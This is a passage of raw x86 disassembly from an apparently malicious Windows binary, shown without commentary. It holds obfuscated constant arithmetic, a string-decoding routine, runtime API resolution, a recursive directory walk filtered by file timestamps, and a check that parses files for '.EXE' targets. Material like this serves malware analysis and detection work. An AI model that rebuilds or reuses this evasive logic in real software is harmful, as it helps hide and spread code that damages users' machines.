		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, ds:10013114h
		movsx	ecx, word ptr ds:100131B4h
		add	edx, ecx
		sub	edx, 0Ch
		mov	[ebx+eax], dl
		push	1000E020h
		push	[ebp+var_10]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, ds:100131ECh
		add	eax, ds:100130A0h
		sub	eax, 0Ch
		and	eax, 0FFh
		push	eax
		call	sub_41D465
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	[ebp+var_1C], eax
		mov	eax, ds:100131B0h
		add	eax, 3B6h
		movsx	edx, word ptr ds:10013118h
		add	eax, edx
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_18], eax
		jbe	short loc_41BC31
		mov	[ebp+var_18], eax


loc_41BC31:				; CODE XREF: sub_41BA2F+1FDj
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_1C], eax
		jnb	short loc_41BC90
		jmp	loc_41BBAC
; ---------------------------------------------------------------------------


loc_41BC3E:				; CODE XREF: sub_41BA2F+139j
		push	1001427Dh
		call	sub_41C914
		push	1000E020h
		push	[ebp+var_10]
		movsx	edx, word ptr ds:10013100h
		add	edx, ds:100131F8h
		sub	edx, 6
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	edx, word ptr ds:100130FCh
		movsx	ecx, word ptr ds:100130D0h
		add	edx, ecx
		sub	edx, 0Dh
		and	edx, 0FFh
		push	edx
		call	sub_41D465
		add	esp, 28h


loc_41BC90:				; CODE XREF: sub_41BA2F+208j
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_41BC95:				; CODE XREF: sub_41BA2F+105j
		mov	eax, [ebp+var_10]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		mov	edx, ds:100131F8h
		add	edx, 0Bh
		add	edx, ds:10013094h
		cmp	[eax], edx
		jbe	loc_41BAAA


loc_41BCB6:				; CODE XREF: sub_41BA2F+8Bj
		push	10014279h
		call	sub_41C914
		push	1000E020h
		movsx	edx, word ptr ds:100131F0h
		movsx	ecx, word ptr ds:1001327Ch
		add	edx, ecx
		sub	edx, 7
		push	edx
		movsx	edx, word ptr ds:10013170h
		sub	edx, 2
		push	edx
		push	eax
		mov	edx, ds:10013140h
		add	edx, ds:10013244h
		sub	edx, 0Dh
		push	edx
		push	0
		push	0
		push	[ebp+arg_8]
		mov	edx, ds:100131ACh
		add	edx, ds:10013210h
		sub	edx, 5
		and	edx, 0FFh
		push	edx
		call	sub_41D465
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA2F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_423379
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp-1FFFh]
		push	eax
		push	dword ptr [ebp+8]
		call	dword ptr ds:10012BA4h
		push	10014264h
		call	sub_41C914
		mov	edi, ds:10013224h
		add	edi, ds:10013134h
		sub	edi, 0Ch
		push	edi
		push	eax
		lea	edi, [ebp-1FFFh]
		push	edi
		call	sub_4188C2
		add	esp, 10h
		mov	esi, ds:10013198h
		add	esi, 0FFFDh
		cmp	eax, esi
		jz	short loc_41BD86
		push	dword ptr [ebp+8]
		call	sub_4197BE
		pop	ecx


loc_41BD86:				; CODE XREF: .data:0041BD7Bj
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD8F	proc near		; CODE XREF: sub_41B354+45Ap

var_270		= byte ptr -270h
var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000F600h
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_41FC67
		push	1001425Fh
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000D020h
		push	10014257h
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		add	esp, 24h
		movsx	eax, word ptr ds:10013124h
		add	eax, ds:100131A0h
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_270], dl
		push	0
		push	80h
		push	4
		push	0
		movsx	eax, word ptr ds:10013170h
		sub	eax, 2
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10012788h
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_26C]
		push	eax
		mov	eax, ds:10013248h
		inc	eax
		push	eax
		lea	eax, [ebp+var_267]
		push	eax
		push	edi
		call	dword ptr ds:10012B8Ch
		push	edi
		call	dword ptr ds:10011654h
		pop	edi
		pop	esi
		leave
		retn
sub_41BD8F	endp

; ---------------------------------------------------------------------------
		db 0A1h, 0E4h, 31h
		dd 0BF0F1001h, 131E015h, 83D00110h, 0FF5006E8h,	1266415h
		db 10h,	0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE82	proc near		; CODE XREF: sub_41BE82+299p
					; sub_41BE82+307p ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		push	0
		call	dword ptr ds:10012630h
		xor	ebx, ebx
		inc	ebx
		push	1001424Fh
		call	sub_41C914
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:10010258h
		mov	[ebp+var_248], eax
		mov	eax, ds:10013128h
		movsx	edx, word ptr ds:10013180h
		add	eax, edx
		sub	eax, 0Ch
		neg	eax
		cmp	[ebp+var_248], eax
		jnz	loc_41C0CF
		movsx	eax, word ptr ds:100131B4h
		sub	eax, 4
		cmp	[ebp+arg_20], eax
		ja	loc_41C198
		movsx	eax, word ptr ds:10013170h
		mov	edx, ds:10013268h
		lea	eax, [eax+edx+3FAh]
		cmp	[ebp+arg_24], eax
		jnb	short loc_41BF38
		mov	eax, ds:100131B0h
		add	eax, 95h
		movsx	edx, word ptr ds:10013150h
		add	eax, edx
		cmp	[ebp+arg_24], eax
		jnz	loc_41C198


loc_41BF38:				; CODE XREF: sub_41BE82+98j
		movsx	eax, word ptr ds:100131C0h
		add	eax, 30D3Ch
		cmp	[ebp+arg_24], eax
		ja	loc_41C198
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword ptr ds:10012780h
		mov	[ebp+var_260], eax
		mov	eax, ds:1001323Ch
		add	eax, ds:100131BCh
		sub	eax, 0Eh
		cmp	[ebp+var_260], eax
		jge	short loc_41BF84
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_41BF8F
; ---------------------------------------------------------------------------


loc_41BF84:				; CODE XREF: sub_41BE82+F3j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_41BF8F:				; CODE XREF: sub_41BE82+100j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	dword ptr ds:10012778h
		movzx	eax, [ebp+var_24E]
		movzx	edx, [ebp+var_250]
		movsx	ecx, word ptr ds:10013174h
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_252]
		movsx	ecx, word ptr ds:100131A4h
		movsx	esi, word ptr ds:10013124h
		lea	ecx, [ecx+esi+0Bh]
		imul	edx, ecx
		mov	ecx, ds:10013154h
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_256]
		mov	ecx, ds:10013268h
		add	ecx, 1Ah
		imul	edx, ecx
		mov	ecx, ds:10013140h
		add	ecx, 6
		add	ecx, ds:1001326Ch
		imul	edx, ecx
		movsx	ecx, word ptr ds:100130D8h
		mov	esi, ds:10013168h
		lea	ecx, [ecx+esi+3Ah]
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_258]
		mov	ecx, ds:10013270h
		add	ecx, 8
		imul	edx, ecx
		movsx	ecx, word ptr ds:10013150h
		add	ecx, 16h
		imul	edx, ecx
		mov	ecx, ds:100130C8h
		add	ecx, 0Fh
		add	ecx, ds:10013194h
		imul	edx, ecx
		mov	ecx, ds:1001310Ch
		add	ecx, 33h
		add	ecx, ds:100131A0h
		imul	edx, ecx
		add	eax, edx
		mov	[ebp+var_25C], eax
		mov	edx, ds:1000D024h
		cmp	eax, edx
		ja	loc_41C198
		sub	edx, eax
		movsx	eax, word ptr ds:1001327Ch
		mov	ecx, ds:10013128h
		lea	eax, [eax+ecx+7]
		cmp	edx, eax
		jnb	loc_41C198
		movsx	eax, word ptr ds:10013264h
		add	eax, 9Bh
		cmp	[ebp+arg_24], eax
		jz	short loc_41C0BD
		push	0
		push	[ebp+arg_0]
		call	sub_41B354
		add	esp, 8
		jmp	loc_41C198
; ---------------------------------------------------------------------------


loc_41C0BD:				; CODE XREF: sub_41BE82+227j
		push	1
		push	[ebp+arg_0]
		call	sub_41B354
		add	esp, 8
		jmp	loc_41C198
; ---------------------------------------------------------------------------


loc_41C0CF:				; CODE XREF: sub_41BE82+68j
		cmp	[ebp+var_112], 2Eh
		jz	loc_41C194
		push	10014246h
		call	sub_41C914
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10012634h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41BE82
		add	esp, 158h
		jmp	short loc_41C194
; ---------------------------------------------------------------------------


loc_41C128:				; CODE XREF: sub_41BE82+314j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	dword ptr ds:1000E004h
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_41C198
		cmp	[ebp+var_112], 2Eh
		jz	short loc_41C194
		push	1001423Dh
		call	sub_41C914
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10012634h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41BE82
		add	esp, 158h


loc_41C194:				; CODE XREF: sub_41BE82+254j
					; sub_41BE82+2A4j ...
		or	ebx, ebx
		jnz	short loc_41C128


loc_41C198:				; CODE XREF: sub_41BE82+7Bj
					; sub_41BE82+B0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C19D	proc near		; CODE XREF: sub_41D764+190p

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_423399
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_41C1C5:				; CODE XREF: sub_41C19D+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41C1C5
		movsx	ebx, word ptr ds:10013240h
		movsx	edx, word ptr ds:100131C0h
		add	ebx, edx
		sub	ebx, 5
		mov	esi, eax
		sub	esi, ebx
		movsx	ebx, word ptr ds:100130FCh
		movsx	edx, word ptr ds:10013160h
		add	ebx, edx
		sub	ebx, 7
		mov	[ebp+esi+var_12104], bl
		push	0
		mov	eax, ds:100131E8h
		add	eax, ds:100130B8h
		sub	eax, 4
		push	eax
		push	3
		push	0
		mov	eax, ds:100130A0h
		movsx	edx, word ptr ds:100131B4h
		add	eax, edx
		sub	eax, 8
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	dword ptr ds:10012788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41C473
		push	0
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	dword ptr ds:1000D028h
		mov	[ebp+var_12108], eax
		push	edi
		call	dword ptr ds:10011654h
		mov	eax, ds:100131D0h
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_41C473
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_41C473
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		movsx	edx, word ptr ds:10013264h
		mov	ecx, ds:100131E4h
		lea	edx, [edx+ecx+3Fh]
		add	eax, edx
		movsx	edx, word ptr ds:10013150h
		add	edx, ds:1001310Ch
		sub	edx, 0Ch
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, ds:1001326Ch
		sub	edx, 9
		cmp	eax, edx
		jz	loc_41C473
		movzx	eax, [ebp+var_12000]
		movsx	edx, word ptr ds:100130BCh
		dec	edx
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, ds:1001313Ch
		sub	edx, 2
		cmp	eax, edx
		jnz	loc_41C473
		movzx	eax, [ebp+var_12000]
		mov	edx, ds:10013268h
		add	edx, 0Ch
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		movsx	esi, word ptr ds:100131FCh
		lea	esi, [eax+esi+0Ch]
		movzx	esi, [ebp+esi+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_423399
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_41C394:				; CODE XREF: sub_41C19D+1FCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41C394
		mov	edi, eax
		movsx	eax, word ptr ds:10013100h
		add	eax, ds:10013228h
		sub	eax, 2
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_41C438
		mov	eax, ds:100130C8h
		movsx	edx, word ptr ds:10013218h
		add	eax, edx
		sub	eax, 2
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_41C438
		mov	esi, ds:100131E8h
		movsx	ebx, word ptr ds:10013230h
		add	esi, ebx
		sub	esi, 5
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_41C438
		mov	esi, ds:10013158h
		sub	esi, 8
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_41C43A


loc_41C438:				; CODE XREF: sub_41C19D+21Cj
					; sub_41C19D+248j ...
		jmp	short loc_41C473
; ---------------------------------------------------------------------------


loc_41C43A:				; CODE XREF: sub_41C19D+299j
		push	10014238h
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	dword ptr ds:1000D020h
		mov	eax, ds:10013168h
		movsx	edx, word ptr ds:100131A4h
		add	eax, edx
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_4206A9
		add	esp, 14h


loc_41C473:				; CODE XREF: sub_41C19D+9Ej
					; sub_41C19D+DBj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C19D	endp

; ---------------------------------------------------------------------------
		dd 4001B8h, 18C280h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C480	proc near		; CODE XREF: .data:loc_41896Fp

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, ds:100130A0h
		sub	eax, 4
		push	eax
		push	0
		push	20h
		push	0
		call	dword ptr ds:1000FA44h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword ptr ds:1001025Ch
		movzx	eax, [ebp+var_6]
		movzx	edx, [ebp+var_8]
		mov	ecx, ds:10013274h
		add	ecx, 33h
		add	ecx, ds:100131ECh
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_A]
		mov	ecx, ds:100131ACh
		add	ecx, 0Ch
		movsx	ebx, word ptr ds:1001322Ch
		add	ecx, ebx
		imul	edx, ecx
		mov	ecx, ds:100130F4h
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_E]
		mov	ecx, ds:1001309Ch
		add	ecx, 19h
		imul	edx, ecx
		movsx	ecx, word ptr ds:100131FCh
		add	ecx, 13h
		imul	edx, ecx
		mov	ecx, ds:100131F8h
		add	ecx, 39h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_10]
		movsx	ecx, word ptr ds:10013104h
		movsx	ebx, word ptr ds:10013260h
		lea	ecx, [ecx+ebx+2]
		imul	edx, ecx
		mov	ecx, ds:1001311Ch
		add	ecx, 16h
		add	ecx, ds:10013090h
		imul	edx, ecx
		mov	ecx, ds:10013268h
		add	ecx, 0Eh
		movsx	ebx, word ptr ds:10013144h
		add	ecx, ebx
		imul	edx, ecx
		mov	ecx, ds:10013110h
		add	ecx, 37h
		add	ecx, ds:10013238h
		imul	edx, ecx
		add	eax, edx
		mov	ds:1000D024h, eax
		mov	eax, ds:100130E4h
		sub	eax, 8
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_41BE82
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C480	endp

; ---------------------------------------------------------------------------
		dd 4001B8h, 8C280h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1000F608h
		call	dword ptr ds:1000FA3Ch
		mov	eax, ds:1000F608h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41C5D3	proc near		; CODE XREF: .data:0041F046p
		push	edi
		push	10014228h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132B8h, eax
		test	eax, eax
		jnz	short loc_41C606
		push	10014218h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132B8h, eax


loc_41C606:				; CODE XREF: sub_41C5D3+1Aj
		push	10014207h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132B8h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F5ECh, eax
		push	100141F3h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132B8h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D03Ch, eax
		push	100141E4h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132B8h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012618h, eax
		push	100141D4h
		call	sub_41C914
		add	esp, 10h
		push	eax
		push	dword ptr ds:100132B8h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F5F0h, eax
		pop	edi
		retn
sub_41C5D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C67B	proc near		; CODE XREF: .data:0041F041p
		push	edi
		push	100141C5h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132B4h, eax
		test	eax, eax
		jnz	short loc_41C6AE
		push	100141B6h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132B4h, eax


loc_41C6AE:				; CODE XREF: sub_41C67B+1Aj
		push	100141A2h
		call	sub_41C914
		pop	ecx
		push	eax
		push	dword ptr ds:100132B4h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000FA44h, eax
		pop	edi
		retn
sub_41C67B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C6CD	proc near		; CODE XREF: sub_41B354+26Dp

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_41C6E4
		add	eax, 3Fh


loc_41C6E4:				; CODE XREF: sub_41C6CD+12j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_41A4FB
		pop	ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		mov	edx, ds:10013248h
		add	edx, 3Ch
		add	edx, ds:10013270h
		mov	eax, edi
		add	eax, edx
		jge	short loc_41C711
		add	eax, 3Fh


loc_41C711:				; CODE XREF: sub_41C6CD+3Fj
		sar	eax, 6
		mov	edi, ds:10013288h
		add	edi, 3Ah
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	dword ptr ds:1000D02Ch
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	dword ptr ds:10011638h
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_422A6F
		mov	esi, [ebp+var_14]
		mov	ebx, ds:10013184h
		sub	ebx, 2
		jmp	short loc_41C76F
; ---------------------------------------------------------------------------


loc_41C753:				; CODE XREF: sub_41C6CD+BCj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_422A96
		mov	eax, ds:100131E8h
		add	eax, 39h
		add	eax, ds:1001314Ch
		lea	esi, [esi+eax]
		inc	ebx


loc_41C76F:				; CODE XREF: sub_41C6CD+84j
		mov	edi, [ebp+arg_4]
		movsx	edx, word ptr ds:10013170h
		lea	eax, [edi+edx+3Eh]
		test	eax, eax
		jge	short loc_41C784
		add	eax, 3Fh


loc_41C784:				; CODE XREF: sub_41C6CD+B2j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_41C753
		push	[ebp+var_14]
		call	sub_418731
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_41A1D1
		movsx	eax, word ptr ds:100130B0h
		add	eax, 9
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	dword ptr ds:1001264Ch
		add	esp, 18h
		movsx	edi, word ptr ds:10013144h
		add	edi, ds:1001314Ch
		sub	edi, 0Ch
		cmp	eax, edi
		jz	short loc_41C7D4
		xor	eax, eax
		inc	eax
		jmp	short loc_41C7D6
; ---------------------------------------------------------------------------


loc_41C7D4:				; CODE XREF: sub_41C6CD+100j
		xor	eax, eax


loc_41C7D6:				; CODE XREF: sub_41C6CD+105j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C6CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7DB	proc near		; CODE XREF: sub_41F596+197p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		mov	eax, ds:10013280h
		movsx	edx, word ptr ds:10013100h
		add	eax, edx
		sub	eax, 7
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr ds:1000F5ECh
		mov	edi, eax
		or	edi, edi
		jz	short loc_41C811
		xor	eax, eax
		jmp	short loc_41C83E
; ---------------------------------------------------------------------------


loc_41C811:				; CODE XREF: sub_41C7DB+30j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword ptr ds:1000D03Ch
		mov	edi, eax
		push	[ebp+var_4]
		call	dword ptr ds:10012618h
		or	edi, edi
		jz	short loc_41C83B
		xor	eax, eax
		jmp	short loc_41C83E
; ---------------------------------------------------------------------------


loc_41C83B:				; CODE XREF: sub_41C7DB+5Aj
		xor	eax, eax
		inc	eax


loc_41C83E:				; CODE XREF: sub_41C7DB+34j
					; sub_41C7DB+5Ej
		pop	edi
		leave
		retn
sub_41C7DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C841	proc near		; CODE XREF: sub_418999+DAp
					; sub_418999+510p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	dword ptr ds:1000D000h
		mov	edi, eax
		push	0
		push	0
		movsx	eax, word ptr ds:100130CCh
		add	eax, 1FF8h
		push	eax
		push	esi
		push	edi
		push	ebx
		mov	eax, ds:1001312Ch
		add	eax, ds:10013194h
		sub	eax, 11h
		push	eax
		push	0
		call	dword ptr ds:1000D00Ch
		mov	eax, ds:1001319Ch
		add	eax, ds:1001321Ch
		sub	eax, 0Eh
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C841	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	10014AC8h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_41C8C5
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41C90D
; ---------------------------------------------------------------------------


loc_41C8C5:				; CODE XREF: .data:0041C8B3j
		push	10014A48h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_41C8E5
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41C90D
; ---------------------------------------------------------------------------


loc_41C8E5:				; CODE XREF: .data:0041C8D3j
		push	10014A08h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_41C905
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41C90D
; ---------------------------------------------------------------------------


loc_41C905:				; CODE XREF: .data:0041C8F3j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_41C90D:				; CODE XREF: .data:0041C8C3j
					; .data:0041C8E3j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C914	proc near		; CODE XREF: sub_418999+298p
					; sub_418999+38Bp ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
